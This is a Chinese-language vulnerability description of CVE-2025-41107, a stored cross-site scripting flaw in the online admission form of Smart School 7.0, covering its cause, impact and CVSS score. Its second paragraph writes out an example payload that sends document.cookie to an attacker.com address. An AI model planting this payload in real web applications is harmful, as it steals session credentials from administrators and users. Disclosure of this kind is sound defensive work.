CVE-2025-41107CVE-2025-41107是Smart School 7.0版本中存在的一个存储型跨站脚本(XSS)安全漏洞。该漏洞源于应用程序在处理用户输入时缺乏适当的验证和过滤机制。具体而言,当用户通过POST请求向'/online_admission'端点提交数据时,系统未能对'firstname'、'lastname'、'guardian_name'等多个参数进行严格的输入校验。攻击者可以利用这一漏洞注入恶意JavaScript代码,这些代码会被永久存储在服务器端。当其他认证用户访问包含恶意脚本的页面时,攻击payload会自动执行,从而实现会话cookie窃取、敏感信息获取或对用户浏览器进行进一步攻击等恶意行为。该漏洞需要低权限认证用户发起攻击,且需要目标用户进行一定的交互操作,CVSS评分5.4,属于中等严重程度。漏洞由INCIBE-CERT协调中心发现并披露。
Smart School 7.0的在线招生模块存在存储型XSS漏洞。漏洞点位于'/online_admission'端点的POST请求处理逻辑中。系统在接收用户提交的表单数据(包括firstname、lastname、guardian_name等字段)时,直接将用户输入存储到数据库,而未进行充分的输入验证和输出编码。当管理员或其他用户查看这些数据时,恶意脚本会作为页面内容的一部分被浏览器解析执行。攻击者可以通过构造包含<script>标签或事件处理器(如onerror、onload)的payload来实现JavaScript代码执行。典型的攻击payload可能为:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。由于存储型XSS的持久性特点,攻击只需执行一次即可影响所有访问该页面内容的用户。攻击者通常利用社工手段诱导管理员或用户访问包含恶意内容的页面,从而窃取认证会话凭证。